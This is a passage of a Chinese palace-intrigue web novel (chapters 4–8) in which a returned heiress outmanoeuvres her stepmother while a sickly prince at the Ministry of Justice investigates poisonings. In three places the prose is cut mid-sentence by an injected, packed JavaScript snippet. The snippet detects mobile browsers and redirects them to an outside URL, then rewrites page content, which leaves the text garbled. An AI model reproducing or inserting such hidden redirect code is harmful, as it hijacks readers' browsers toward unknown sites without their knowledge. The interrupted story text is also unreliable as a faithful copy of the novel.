“往后这种脏手的事交给奴婢，姑娘您别再沾这些。” 袁彦一笑，自袖中取出寸余长的袖珍竹筒，拿出内里那封密信，展开，瞧着上面密密麻麻的陈述，“只要目的到了，还管别的做什么。” “可奴婢瞧刑部那位不是什么好糊弄之人。” “他啊。”袁彦笑了笑，不知想到什么，没将话说尽。 “姑娘……”韵采沉吟，忍不住问了句，“先前不是说，现下不是招惹他的好时机吗？” 马车外忽然起了嘈杂，袁彦敲敲门框示意车夫停下，掀开窗帘一角，隐约见刑部的人打马离开，于是又阔了阔视野。 已经有段距离，水玉楼矗立在暗中，街边商贩看过热闹正收工，影影绰绰中，她目光仿佛穿透一切屏障，恍惚瞧见那年今日的定国公府门前，小小的人提着阿爹亲手做的花灯，高高兴兴跟着阿娘去街上猜灯谜。 收回目光时忽地撞上一道沉静注视，是一身玄色披风隐在深夜巷子里的刑部侍郎。 二人视线短暂相接，袁彦眉梢微挑，眼底似有笑意闪过。 撂下帘子，车夫扬鞭，袁彦轻声说：“早晚要见的。” 谢兆目送马车走远，他才像忍不住似的突然连续呛咳起来，缓过之后，打马掉转方向，往刑部去。 到得门前，等了有一阵的亲随燕七忙跑过来牵马，借着门前的灯盏想要仔细看他脸色，忍不住念叨：“殿下怎么没乘车？虽说已过了立春，可雪却没停过，殿下您的身子……” 谢兆快步往里走，懒得听他废话，只问：“什么事？” 燕七忙说：“太妃问您何时回去？” “让母亲先休息，我明日就回。” 燕七“啊”道：“可是……” 话没说完，谢兆已迈过门槛，身影隐入黑夜，只闻得脚步声。 “可是太妃说您何时回她何时休息！” 须臾，门口再次有了动静，谢兆去而复返，眼底是将出未出的恼意。 燕七双眼一亮，跑过去扶他，“殿下，刑部每天那么多事，您就算天天不睡也忙不完的，还不如慢慢来，什么都没您身体重要。” 见谢兆径直往拴马地方去，燕七急忙拦他，“殿下，家里的车就在那边，太冷了，殿下行行好，咱们坐车走？” 谢兆没好气看他。 燕七再接再厉，“若是不小心让贼风吹了，殿下的风寒更严重，到时想来刑部都有心无力——殿下等等小的！” “再啰嗦就把你扔去南疆！” “……” 这一日上元节，整个平京城都沉浸在节日中，他过得却并不轻松。未时初谢兆被叫进宫，年逾半百的皇帝矮下身段同他忆起不少儿时表兄弟间的趣事，又说他登基这些年如履薄冰过得多不容易，再告诉他边关如今极不稳定，偏碰上暴雪灾年，北秣蠢蠢欲动，将将过去的那个冬天，军士们经历过大大小小百余次侵袭。 仅仅是因为有人参了谢兆一本，说他办案不讲章程，如此下去，刑部要乱。 5. 第 5 章 离着尚有段距离，就有小厮先行回王府报信，等谢兆的马车到了，门前早早便有丫鬟候着。 “殿下，太妃让您过去。” 谢兆将手炉递给燕七，自己则越过丫鬟径直往内院去。 丫鬟的笑容刚刚扬起又迅速收住，与燕七对视，后者只是微微点了点头，也急忙跟上。 “燕七哥，殿下今日像是心情不错？” 燕七不以为然，“你怎么看的？” 丫鬟紧紧跟着燕七的步伐，声音低又不由自主加快，“说不好，就是个感觉。” 燕七将这一路匆匆回忆，仍没半点殿下心情好的印象，但小茶感觉向来颇准，“好总比不好强。” “也不知是因为什么？” 燕七莫名瞧了她一眼，“高兴还需理由？殿下若心情不好，咱们才该反思了。” 小茶笑容有些勉强，“还是燕七哥最明白殿下。” 燕七嘿嘿笑，“那是，我和殿下打小一块长起来的，当然不一样。” 说话间就到了内院，燕七不再往里走，小茶则不再吭声，低下眉眼匆匆进去，走到半路忽然想到什么，脚下一转，又往厨房去。 瑞太妃的卧房中，谢兆见过礼，“母亲这么晚还不休息？” “你不也这么晚才回？” 谢兆无奈，“儿子有公务。” “什么公务连散值了都不能回家？” 谢兆没说，眼见她端起茶杯，出声道：“母亲这会还在喝茶？” 瑞太妃没好气望了眼旁边站着的郑嬷嬷，后者忙回话：“回殿下，这里面不是茶，是安神的药膳。” 谢兆从未夜半还在母亲房中逗留过，所以对此并不知情。 郑嬷嬷又说：“殿下有所不知，太妃近日睡得不好，平日夜里却有饮茶的习惯，奴婢便想了这个折中的法子。” “什么折中，明明是想让我装聋作哑而已。”瑞太妃笑嗔。 谢兆关切，“宫中御医可来瞧过？” 郑嬷嬷要答，瑞太妃品茗一样品着汤，告诉他，“来了，交代几个药膳方子给厨房。” 谢兆见她不愿多说，便不再问，想要告退时，忽听瑞太妃说：“今年的打春宴，司天监给瞧好了日子，就在五日后正月二十，帖子已经拟好，待明早天一亮就送出去。” 话过了谢兆的耳朵，却不往他心里去，闻言只说：“打春宴母亲每年都办，自是手到擒来的。” “你这孩子，非要我将话说得那样直白？” 谢兆装傻充愣，“母亲难道还有什么拐弯抹角的话没讲？” “你……罢了罢了，快回去歇着吧。” 谢兆又陪着说了几句才离开。 郑嬷嬷目送人出门，眼底露出隐忧，迟疑一番，才张嘴道：“殿下他……” “不妨事，”瑞太妃慢吞吞喝着滋补的汤水，轻声说，“不管相看了谁，他到时候都会说一句‘全凭母亲做主’。” “殿下如此心性，只怕到时候真有人嫁进来，也是……”话有些难听，郑嬷嬷说不出口。 “独守空房？”瑞太妃与郑嬷嬷自幼时便是主仆，二人间几乎无话不说，自先瑞王过世，二人更成了府中相互的支撑，“小辈如何，全凭自己造化。宫里那个之所以还容得下他，是因为府中还有我，如今我身子一日差过一日，再不早做打算，只怕等我一走，他便是第一个要下去陪我的人！” 郑嬷嬷听得心登时一紧，张嘴想说些什么，可却深知主子不会无端危言耸听，踟蹰一阵，她宽慰道：“殿下应早就心中有数，否则怎么亲王当得好好的，非要请旨去刑部呢！” 瑞太妃摇头，却不再开口。 郑嬷嬷想起件事，“殿下眼下正值好年华，奴婢瞧着小茶似乎……是不是先让她去殿下房中伺候着？殿下若习惯身边有人知冷知热，或许将来新妇进门，他便知道心疼人了？” 瑞太妃设想谢兆疼人的模样，却实在想不出，不禁无奈一笑。他虽继承了父亲的好气质，却是个外热内冷的。 “小茶几时来的府中？” “去年，吴管家本是去牙行看些筋骨不错的，买回来训练一番做护院，见小茶可怜，便一并带回了，”郑嬷嬷觑着主子的脸色，心中盘算怕是自己说错了话，“当时正好院中缺个奉茶丫鬟，奴婢就做主将她要了过来。” 瑞太妃垂眸，几息后说：“待到天明后去给浣衣坊的荣公公递个信，让他来府中一趟。” 郑嬷嬷一怔，旋即立刻明白，躬身道：“是。” 瑞太妃将剩的滋补汤水饮尽，偏头看了郑嬷嬷一眼，笑了，“你莫要想多，即便今日你不提，我也要找个时间将她处理。她的心思我瞧得明白，但殿下对她没半点念头，小丫头虽翻不出这后院，但强行将人送进去，只会让他更加反感。” 郑嬷嬷点头，“是奴婢想浅了。” 瑞太妃拍拍她的手，“不早了，你去休息。” “奴婢先扶您进去。” “我没那么困。”话这样说，瑞太妃还是顺着郑嬷嬷的手站起身。 “太医院那边的结果还没那么糟，”郑嬷嬷扶她往里走，宽慰她，“您别怪奴婢多话，人嘛，全凭一口气撑着，可若您自己先放弃，这不等于将刀直接递到了旁人手中？” “我自己的身体，自己明白的。” 谢兆院中向来清净，院中除了几个负责洒扫添茶的小厮，再就一位年长的嬷嬷，也是瑞太妃未出阁时身边跟着的老人，平日只负责些安排轮值的事，和谢兆轻易见不上面。 从母亲房中出来，他带着燕七径自往自己院中去，未到近前，先听见一阵交谈声，没等他问，燕七快几步跑了过去，见是小茶，不由心头微恼，“大半夜你来这做什么？”又看向她手里端着的托盘，不耐烦，“赶紧走！” 小茶冒险来的，且这炖盅来之不易，怎会轻易放弃，她往燕七跟前走两步，语气中透着乞求，“燕七哥，殿下整日忙公务，身子骨定是吃不消的，这里面都是上好温补的食材……” “殿下如何也轮不到你关心，”燕七抬手赶人，完全没了先前见面时的耐心，低下声音吼她，“赶紧走，否则待会殿下过来，你别想好过！” “我……”小茶眼睛瞬间红了，楚楚地望过去，“燕七哥……” 燕七不忍看，狠下心，“再不走休怪我动粗！” 小茶畏缩地望了眼燕七的手，她是见过他如何徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443161|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手捏断一个不守规矩小厮的臂膀的，无措之际，忽地睃见谢兆慢吞吞往这边来，她犹如见到了希望，直直朝着那边跪爬过去，“殿下！” 燕七气坏了，抬手就去捏小茶的脖子，却不敢用力，没成想一时恻隐竟教她挣脱开去。 “殿下！殿下开恩，求殿下就收了小茶吧，小茶只想到临风居尽心尽力伺候殿下，全无半点犯上想法，殿下明鉴，殿下……”说着便慌忙磕头，几下就渗了血。 燕七手脸色难看，追上去直接将她双臂反剪至背后，“放肆！” 谢兆目不斜视，径自回了院子，任由小茶在后面嘶声乞求。 这厢的事不多会便传到了正要去睡觉的郑嬷嬷耳中——燕七让人去送信，自己则躲在院门口。 郑嬷嬷一路小跑过来，来时闹剧已然收场，燕七直接将人敲晕，扔在了长廊的座椅上。 才刚有让小茶进临风居伺候的心思，半柱香的工夫都不到便出了事，郑嬷嬷看着小茶脸上未及擦干的泪痕，心中不由感叹瑞太妃的敏锐。 “把人送回去，告诉她明日不用上值，直接过去找我。” 谢兆喝了药，咳嗽没那么频繁，只是鼻子依旧堵塞——他幼时落了旧疾，每年换季前后都要咳上一阵子，加之现在这个冷热交替的天气，一时不察又染上风寒，是以这段日子着实折腾，不过也已习以为常。简单清理后他便躺下休息，本以为脑子里杂念太多会难以入睡，不想才熄了蜡烛，他就眼皮沉沉。 薛千金竟趁机入了梦。 仍是那条漆黑的石板路，马车辘辘前行，这次他没有隐在巷子中，而是打马跟到了她的车旁。见她掀了帘子，车内有烛光映出，他垂眸直直望过去，看清了那张脸。 没了帷帽的遮挡，她在朝他笑。 “知微……” 像耳语。 谢兆忽地仿佛被什么击中，眼前水波般荡开，情景交换，周遭物体骤然放大，视野随之变窄，呛人的烟雾让他不断咳嗽，有人从浓雾中匆忙跑出来，他提着灯，等人到近前方才看清，是个小小姑娘。 “兆儿哥哥……” 她哭得满脸是泪，扑到他身前，紧紧箍住他双腿，嘴巴张开，里面都是血。 “兆儿哥哥，救他们，你救救他们……” 谢兆连连后退，却不想灯翻人仰，双腿却仍未动分毫—— 夜里起了风，窗子不知何时被吹开，谢兆披衣起床，慢吞吞过去将窗子重新合拢。外间打盹的小厮猛地听见动静，急忙跑进来，“殿下？” “泡壶茶来。” 小厮领命快速离开。 此刻寅时未过，谢兆却睡意全无。 挨到卯正，他穿戴整齐，坐上马车往刑部去。 派出去的暗卫早已等着，跟随谢兆进入书房，不待他问，便压低了声音汇报：“大人，属下搜遍那对夫妇的住所，以及曾去过的地方，包括姜主事府中上下，都没有您要的东西。” “许仵作怎么说？” 暗卫摇头，“他二人腹中也未见。” 哪里都找不到，不一定是被藏起来，谢兆想，还有可能是被凶手顺走了。 “昨日跟去薛府的人，带来见我。” 6. 第 6 章 昨日夜里方归，袁彦谁也没惊动，自南边的小门进府，小门离她的“水天居”颇近，走几步转个弯就是。 她办了件舒心的事，夜里睡得格外好，以至于次日一早醒来，连东苑那位便宜继母差人唤她过去都没有刁难，还让韵采赏去几颗碎银，倒把来人弄得莫名其妙，银子拿在手里半晌，仍感到分外烫手。 “薛夫人心里应该憋了好大一口气，想撒姑娘你身上了。”韵采将人打发走，回来见袁彦正在选簪。 “‘飞燕堂‘出事了？” 韵采一愣，随即反应过来，忙说：“姑娘，这是青州那边昨日晚间送来的新样式，阎婆验过说比以往的品级要差些，恐怕那地头蛇万家又生事端，已经连夜派人回去探了。” 袁彦把玩其中一只钗，做工细致，算是上品，寻常人根本瞧不出其中差别，“去了几人？” “三人，这会应该已经过了涿州，再有一日就能赶到。” 袁彦问过日子，得了回答，忽然无声一叹。 韵采轻声问：“姑娘，是不是看出什么了？” 袁彦选了对玉簪递过去，“让阎婆亲自走一趟，告诉她，万家没用了，不必再留。另外，”沉吟一瞬，又说，“等会让明秋同我一道去东苑，你去置办些银钱尽快送去青罗郡，三人的后事一律按照以往的标准办。” “我这就去安排。” “等等，”袁彦又想起别的，“水玉楼那位伍账房现在何处？” “南山的乱葬岗，估摸这会该醒了，姑娘放心，我亲手给他喂的药，保证他清醒了也不知昨晚到底发生过什么。” 袁彦点点头说：“你去吧。” 明秋是薛府的家生子。她母亲曾是故去薛夫人的陪嫁丫头，与先薛夫人情如手足，当年嫁人时年纪已经不小，却在生下明秋的第二年夏得了场大病，救治不及时撒手人寰。明秋的爹原是府中护院头领，某年家中遭了恶贼，她父殊死搏斗，最后与贼人同归于尽。 明秋在薛家十几年，借着其父的关系，并未吃过什么苦，薛崇贵因嫡女走失深感愧对亡妻，便将私心用在了明秋身上，对她吃穿用度通常睁一只眼闭一只眼，所作所为亦是宽容有加。 这些年来，明秋早将自己当成半个小姐，甚至认为就是将来嫁人，也是要府里为她准备嫁妆的。 直到去年开春。 她的处境一夜之间天壤之别，做了多年的春秋大梦骤然惊醒——独立的小院没了，每日五更天就得起来干活，隔几日还要轮值守夜，与其他丫鬟同桌吃饭，最重要的，月钱比先前缩了整整八成！ 当时被薛夫人随手指给“水天居”的时候，薛尚书并未表现任何异样，仿佛这是再正常不过的事情，那时候才明白，原来薛家从没拿她当回事，是她太把自己当回事。 下等人永远够不到上等人的台阶。 可体验过上等人的顺遂，又怎能甘心屈居人下？ 她偷偷望着走在前面的袁彦，每一步都端端正正，一颦一笑俱是落落大方，即使什么也不做只是站在那，都是绝对的不容侵犯。头上一对玉簪能顶她这么多年在薛府攒下的所有家当，平日里各地送来的鲜果不管喜欢与否，头一份定要送到她嫡长女的饭桌上，寸锦寸金的真丝布匹更是一批一批不要钱似的送到水天居。 她不自觉挺直腰身，一个常年流落在外失去庇护的女子，怎么可能时刻保持那般卓然的气质？定是硬装出来的！ 袁彦毫无征兆地停下脚步。 明秋太过专注，收脚的时候身子不由自主前倾，险些扒上那件价值千金的绒披风，狼狈站稳，见袁彦转过身来。 她心头突然涌上一阵强过一阵的紧张，莫名怕那些心思被看穿。 “听母亲说，年前给你说的那门亲事，你不满意？” 明秋的心瞬间提到了嗓子眼儿，头恨不能垂到地上，腰如何也直不起来，慌慌乱乱的，嘴巴几次张合，却一句话都没说出来。 袁彦并未打算计较，只是了然道：“既然不喜欢，早说清楚也没错，母亲那边尚有诸多未婚配的，再慢慢找便是。” 慢慢找。 明秋心中苦涩又不甘，夫人手里能给她留什么好东西？若有，当初就不会随意指派她去伺候人了。 袁彦转身欲走，她却直直跪了下去。 袁彦垂着眼，不言不语地看向她。 “姑娘，”明秋带着哭腔说，“奴婢不想嫁人。” “是不想嫁人，还是不想嫁母亲给你相看的人？” 明秋心头惊诧，却抽抽搭搭地不说话。 “一辈子不嫁人？” 明秋狠下心，“奴婢想伺候姑娘一辈子。” 袁彦嘴角似有弧度，垂着的眼底隐约浮现些说不清道不明的东西，“你起来吧。” 明秋愣了下，很快反应过来，胡乱擦掉眼泪，接连磕了几个响头，“多谢姑娘，多谢姑娘！” 袁彦继续往薛夫人的东苑去，明秋亦步亦趋跟着，心情却明显松懈下来。 薛夫人妫氏，原是先夫人娘家的一位远房表亲，与薛崇贵相遇在一次多年前的三月三，时值薛崇贵痛失爱妻，颓废之际被友人拉着到郊外春游，极偶然之下结识了妫氏。后经一番了解，发现其竟与发妻有几分联系，爱屋及乌，一来二去，加之妫氏家中有意，最后由媒人说和，薛崇贵便娶了她作为继室。 妫氏进府当年便有了身孕，隔年顺利诞下一子，彼时，府中嫡长女薛灵仅四岁，尚未走丢。又两年，再添一女。 期间薛崇贵曾有过两房妾室，奈何两个都是命短的，头一个病死了，后一个孩儿已足月，却不慎失足落水，郎中在府上留了一日一夜，仍没将人保住。 隔着稍远的距离，东苑的笑声便已传了过来，是年方十岁的薛二小姐，薛蕖。 明秋率先跑到东苑知会，袁彦快到门口时，院内已然恢复安静。 薛夫人房中丫鬟翠语跟着明秋一道出来，笑盈盈请袁彦进去。 妫氏嫁进来已过双十，虽接连诞下二子，身子倒并未亏着，今三十有五，却风韵更显。 据说妫氏与先夫人虽是远房表亲，幼时两家却时常走动，姐妹二人亦是无话不说的，就连当初成亲，都是妫氏一路相送，只不过彼时薛崇贵眼中满是发妻，对她并无半点印象。 “见过母亲。”袁彦礼数周全，让人挑不出丝毫错处。 “见过长姐。”薛蕖恭恭敬敬地行礼，完全没了方才在院中的放纵。 袁彦对她一笑，算是回了礼。 妫氏同她见面向来也客客气气，言行基本从无怠慢，“阿灵，这是昨日郭夫人来府上，特意叮嘱我一定要给你尝尝的，说是自家厨子的新创意，”她说着将一碟造型似花非花的点心推过去，“可惜昨日你不在家，这糕点的口感怕是没那么好了。” 妫氏话里有话，袁彦假作没听出来，谢过之后拿起来掰下一小口吃了，不太走心地评价，“确实不错。” “就知道你会喜欢，”妫氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443162|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜笑颜开，让人上茶，“配着一块吃会更可口。” “谢母亲。”袁彦配合，啜了口茶。 妫氏试探不出，犹不死心，“昨日送来时还是热腾腾的，我怕耽搁了味道不妙，便叫翠语赶紧给你送去，谁知被院里下人告知你没在府上，”说着一叹，“今日这味道定是不如昨日了。” 袁彦余光瞥见翠语，后者站得规规矩矩。 “劳母亲惦记，”无非是要探一探她昨日行踪，袁彦不接茬，笑一笑，拿茶水解渴，“下回再出门，提前让人来母亲这里说一声，免得叫翠语白跑一趟。” 问不出来，妫氏不甘却只能作罢，“那等会让翠语把剩下的都送到你院子去？” 袁彦说：“不用麻烦，给明秋就行。” 妫氏眉目微微挑了挑，视线不经意扫到明秋，随即给翠语使了个眼色，这事就算应下了。 “郭夫人来府几次，其实主要并非是看我，”妫氏见袁彦又掰了一块吃，心中自觉了然，便想将事情往前更推一步，“你也知道的，郭大人家的二公子去年中了探花，求亲的踏破他家门槛，偏偏郭夫人一个都没看上，你道是什么缘由？” 像被点心齁住了嗓子，袁彦眉心微蹙，接过明秋递来的茶杯喝一口，这才开口：“郭大人的家事，母亲与我在这议论，不妥当的。” 妫氏被她不加遮掩的故意堵得说不出话来。 薛蕖发现屋中气氛一瞬间冷下去，不由敏感地挪着步子到袁彦身旁，指着桌上的糕点说：“大姐姐，蕖儿也想吃。” 袁彦对薛蕖的印象颇好，听她要，就给她拿了一块，未料薛蕖才伸手想接，就被妫氏出言阻止。 “昨日吃的还不够多吗？”妫氏笑言，语气却满是警告，“若非早告诉你那是特意送给你大姐姐的，你怕是都要吃完。” 薛蕖的手便缩了回去，有些不安地动动嘴唇，欲言又止地低下头。 “母亲说笑。”袁彦握住薛蕖的手，将糕点放在她掌心，抬眸见她略显惊讶的眼神，安抚地拍她手臂，“姐姐不喜欢这么甜的东西，你吃完也记得多喝些水。” 妫氏面上的笑容几乎维持不住。 “去玩吧。” 薛蕖被翠语带出去，袁彦让明秋也一同出去候着，屋中便只剩了她二人。 袁彦端茶喝一口润喉，见妫氏不说话，她开口道：“郭夫人几次示好，我一再避而不见，的确不妥。” 妫氏顺杆就爬，“是呢，郭夫人诚意满满，她是真的想要和咱们府上结亲，想要你这个儿媳呢！” “前几日我得了些茶饼，不是多好的东西，但也算是我能拿得出手的了，到时还要麻烦母亲去郭大人府上回礼。” “那怎么成？”妫氏突然提了嗓子，后意识到失态才再堆起笑脸，“茶饼……这不太好吧？” 袁彦点头道：“母亲说的极是，那依母亲之意，我该送些什么作为回礼？” “既是回礼，合该……” “母亲房里若有更好的，可否先拿出来解了这个困境？”袁彦语气软下去，“阿灵自幼走失，这些年常在外颠沛流离，如今好不容易回来，吃穿用度又都是父亲拟好的，自己手里实在没攒下什么能上得了台面的物件，这些，想必母亲心中比我更清楚。” 她说得言辞恳切，妫氏听得七窍生烟，没攒下什么上得了台面的东西？她身上穿的，头上戴的，哪样不都是顶顶好的？哭穷哭到她面前了，仗着老爷纵容，真当她眼盲心瞎什么都不知道吗？ 7. 第 7 章 不待妫氏回应，袁彦又动情道：“母亲，阿灵流落在外多年，心中无时不在想念家中，唯一愿望不过是有朝一日能够回来承欢膝下。这一年承蒙母亲不嫌、父亲照拂，阿灵过了有生以来为数不多的舒坦日子，尚未来得及回报，怎敢就此离家？” “这倒也……” “郭大人贵为礼部尚书，二公子喜中探花，平京城的好姑娘那么多，想必早已挑花了眼。母亲，您与我娘情如姐妹，此生我却已无缘对她尽孝……母亲，错过这许多年，阿灵如今只想跟在母亲和父亲身边，不愿再将时间浪费在别处，还请母亲成全！” 说着便就站起来，直接朝妫氏拜了下去，吓得妫氏“呀”地一声，急忙躲开，“阿灵，你、你这是做什么！” 算准了妫氏不受她这一跪，袁彦倒也不真的便宜了她，她眼圈红红，情真意切地望住妫氏，似控诉似不解，“母亲为何不愿受灵儿这一拜？可是灵儿这一年来有不周到之处，可是怪灵儿这一年没有日日晨早去给母亲问安？母亲……” “不是，我没有……”妫氏心中恨极亦乱极，被她一句赶一句全然没了应对，末了终于松口，无奈又气急败坏，“罢了罢了，郭夫人那我便再去走一趟，将这事给了了！” 袁彦愣愣的，几息后才仿佛反应过来，露出一丝感激的欣喜，“灵儿谢母亲成全。” 袁彦见好就收，领着明秋回去了，留妫氏独自于屋内置气。 自打袁彦进府，妫氏一颗心便整日悬着，有段日子一度虚到茶饭不思。府上原本有早晚问安的规矩，袁彦同几个弟弟妹妹一块来过两回后，妫氏便找借口免了她的礼。 可就是这样，她这个做人继母的却仍得时常忍受嫡长女的压制，吃喝以她为先倒也罢了，穿戴上竟也要可着她来，规制照蕖儿高了不止一级！外人只道尚书府家风尚俭，谁又知那是“俭”在他们娘仨头上的？ 她对此敢怒不敢言，实在憋得慌才去旁敲侧击地向薛崇贵表达一番内心的不满，奈何薛尚书公务繁忙，似乎总也听不出妻子的弦外音，总是告诉她：姝钰想要什么，吩咐人出门采买或者自去库房找来便是，府上中馈已然全部交付，家中事如无必要，不用全等他回来拿主意。 妫氏每每听得心口直堵，家中库房，库房里那点东西的确她能说的算，可那里面根本就没有嫡长女的吃穿用度！她进薛府这么些年，一直不知家中定有两套规制，嫡长女享有的竟是独一份！ 当年婆母病故去的突然，什么都未及交代，一切事物都是薛崇贵后来亲自交到她手里的。十几年夫妻感情，她自问实心实意，他却独个跟她藏心眼儿，怪道这些年疯了般要找女儿，原来是怕夜长梦多，教她有朝一日知道了这等秘密去！ 宁愿找个不知真假的所谓“嫡长女”回来寒她的心，也不想自己从小养在身边看着长大的亲生女儿沾到半点便宜！ 岂有此理！ 妫氏面色青色渐显。 “翠语！翠语！” 翠语带着薛蕖去了后院玩，还是经过院中洒扫丫鬟悄悄传信方得知夫人急着找她，于是急忙安顿好薛蕖，迅速跑回去。 还是迟了。 进门便迎来一杯热茶，亏得经验丰富不着痕迹灵活错开，没教泼到脸上。 “你死哪儿去了？喊了几遍也喊不到人！做奴才的都敢骑到主人头上了，干脆你与我换一换，你来做这个主子如何！”妫氏撕掉片刻前的温柔面皮，露出后面的獠牙，从嫡长女处受的窝囊气此刻尽显，怒目圆瞪，似张开血盆大口，要吃人了。 翠语是妫氏从家中带来的陪嫁丫鬟。这些年相处在一块，对主子的脾性其实早就摸得一清二楚，深知此刻主子要的并非一个解释，着急找她也不是真有要紧事，她就老老实实跪在这，任鞭抽任辱骂，等这股邪火撒净，也就没什么了。 从前在老夫人面前受气，后来常跟尚书大人置气，到现在处处被大小姐压过一头——都是这样的，所有的歇斯底里，都是这样撒干净的。 她是妫家的家奴，合该承受。 * 昨日一路跟随回薛府的部下来报，说薛千金回了尚书府就再未出过门，府里一整晚都没什么动静，“属下本想悄悄潜进去探查……”瞥见谢兆的眼神警告，张陆摸摸头，嘿声笑了。 “拜帖递过去了？” “属下亲自去的，绝对错不了。”深更半夜往尚书府送拜帖，这种事也就他家这位大人干的出来。 待要说话，忽然部下来报，说府衙巡逻的人今晨在乱葬岗发现了水玉楼的伍账房，“……发现的时候身上盖着张破被，人还活着，只不过像痴傻了，此事先是报给了丁县丞，丁县丞方才差人送信，顺便还将人一并送了来。” 仿佛一息间串联出了某些细节，谢兆试着捕捉，却又似雾里看花捉摸不透，部下还在等着回话，谢兆只得暂且搁置，起身道：“过去瞧瞧。” “……你到底是何人？” “草民……草民此刻也有些摸不准，草民依稀记得昨日还在凌州的方水街摆摊，如何今日就来了这平京？”伍账房眉头紧蹙，看起来应确实在努力回忆，不知想通了什么，忽然就变了脸，双膝一跪，“青天大老爷们，草民是个本分人啊，摆摊兢兢业业，不敢缺斤少两，不敢多收别人一文钱，你们因何要绑了草民来？草民冤枉，冤枉啊！” “……” 走到门口的谢兆：“……” “去寻个郎中来。” 张陆立马领命。 里面的部下之一林三刀听见动静连忙出来，“大人。” “如何？” “属下判断，七成为真。” 伍账房凭借官服颜色分辨，知道进来的这位定是个大官，于是赶忙调整跪的方向，连连叩头，“青天大老爷，草民真是冤枉的，请青天大老爷明鉴啊！” 谢兆做了个手势，几个部下得令，一边一个将人架了起来，奈何伍账房此刻已然腿软，不得不坐着回话。 “可还记得自己叫什么？” “草民伍德青。” “你有何冤屈？” 伍德青愣了一瞬，很快反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443163|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应过来，试着问回去：“可是因为草民半月前圈了门口的地种菜？” 谢兆顿时失去兴致。 不多时张陆带了郎中前来，一番检查后被告知，伍账房这般是被人灌了药物所致，“应该不是毒，但具体是什么，需得回去仔细查验才行，所以现在没有对应的方子。不过草民观其气，断此药虽让人神智混乱，却对身体无害，大人大可放心。” 谢兆对医理一道仅是入门，闻言颇为好奇，“天下竟还有如此神奇的东西？” 郎中上了些年纪，下巴留着山羊胡，人却保养得当，颇有道骨仙风貌，听谢兆这一问，他一捋胡须似在慨叹：“大人，可知世间多奇人啊。” 谢兆忽然想起昨日在水玉楼见到的那三具尸体，不由点了点头，“的确。” 郎中告退，林三刀指着伍德青，“大人，这人怎么处理？” “先关着，既然是被灌了药，就看看药效能持续多久。”谢兆吩咐完，只身去了卷录阁。 卷录阁是刑部堆放历年案宗的地方，守卫森严，平日只有他与高尚书方能随意出入。 高尚书到岁数了，这些年几乎不再踏足此处，自从谢兆领下侍郎一职，如非必要，高尚书连刑部都称病不去——如果哪天突然病好，那必是谢兆又得罪了人，高尚书人一早端坐刑部，折子便已呈到御前。 碰上谢兆心情好，会给上几分薄面，听听文人如何将他骂出花来，一笑了之，反之，刑部就会有人遭殃。 高尚书素来是个软硬不吃的，眼看老部下日渐凋零，他非但不收敛，反而参的越加频繁。 张陆昨日在刑部见到了高尚书，一颗心提到了现在，只等谢兆一声令下，他好一手罪证一手镣铐地去拿人，谁知辰时都要过了也不见谢兆下令，不由和林三刀小声叨咕：“看来大人昨日心情还行？” 林三刀不跟他掺和，押着伍德青就走，“张兄，你我皆在大人手底下办差，只管把事做好，别的自有大人定夺。” 张陆没得到共鸣，心下不爽，却又摄于林三刀平日的狠辣作风而不敢得罪，只冲林三刀的背影撇撇嘴，哼了句“装什么装”，摇头晃脑地走了。 卷录阁内，谢兆找到了想要的卷宗—— 太庆二年立秋前后，青州臬司武文忠报上来一桩惨案，言当地某家族于一夜间全数暴毙，上下百余口，皆死状奇特，无一幸免。青州府前后查了月余，依旧毫无头绪，无奈只得上报平京。 时值新帝登基不久，惊闻此事，震怒非常，当即下旨着刑部立刻特派巡按御史前往青州，半月之内，务必让凶手归案。 巡按御史带领众人连熬数日，细细分析，日夜摸排蹲守，终于赶在期限前将人缉拿——是个性格乖戾的药铺伙计，暴露时反抗过于激烈，被就地正法。事发突然，没有口供，亦无画押，只有几个在场小吏的转述。 众人凯旋而归，新帝龙颜大悦。 谢兆上任以来，闲时常到阁中阅些奇诡案卷，此案便在其中，当时只大致浏览，留了些许印象，方才细读之，终见玄妙处。 8. 第 8 章 此案对凶手描述寥寥，对案情倒极其详尽，尤其那一大家子的死状。 谢兆的目光定格在其中一行字上：其面皮光滑粉白，光下可见薄如蝉翼，然轻触即皱，再触即破，光泽全无，血肉尽失，唯余腐皮枯骨。 他下意识捻过指间，回想昨日在酒楼时那番触感，的确吹弹可破，但当真去摸，却又弹性十足。 两者相似，却又不大一样。 继续往下读，是一段对凶手行为的转述。 